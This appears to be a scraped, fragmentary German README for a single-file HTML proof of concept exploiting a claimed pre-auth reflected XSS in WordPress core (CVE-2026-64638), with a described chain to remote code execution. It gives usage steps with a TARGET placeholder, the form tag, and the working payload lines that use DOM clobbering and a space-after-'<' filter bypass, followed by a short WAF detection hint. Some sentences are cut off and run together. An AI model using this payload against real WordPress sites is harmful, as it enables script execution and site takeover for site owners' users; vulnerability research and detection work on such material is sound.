
Ein HTML-Proof-of-Concept als einzelne Datei für reflektiertes WordPress-XSS vor der Authentifizierung (CVE-2026-64638), das die Ausführung von JavaScript ohne Authentifizierung sowie eine XSS-zu-RCE-Kette per DOM-Clobbering und App-Passwort-Upload demonstriert.
Proof of Concept für Pre-Auth Reflected XSS in WordPress
Ein HTML-Proof-of-Concept in einer einzigen Datei für das Parser-Differenzial-XSS CVE-2026-64638 (XSS2Shell) im WordPress-Core. Es demonstriert die Ausführung von nicht authentifiziertem JavaScript im WordPress-Origin über eine präparierte Login-Anfrage.
strip_tags() vs. wp_kses_post())POC.html in einem Texteditor.http://TARGET/wp-login.php im action-Attribut des Formulars durch dein Ziel.<form id="poc" method="post" action="http://TARGET/wp-login.php">
confirm() bzw. alert()) im WordPress-Origin ausgelöst.< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X
Das Leerzeichen nach jedem < ist der Exploit. Ohne das Leerzeichen entfernt wp_strip_all_tags() alles.
%3C plus Leerzeichen im log-Feld an der WAF/am Edge.POST /wp-login.php-Anfragen, bei denen log ein kodiertes < enthält.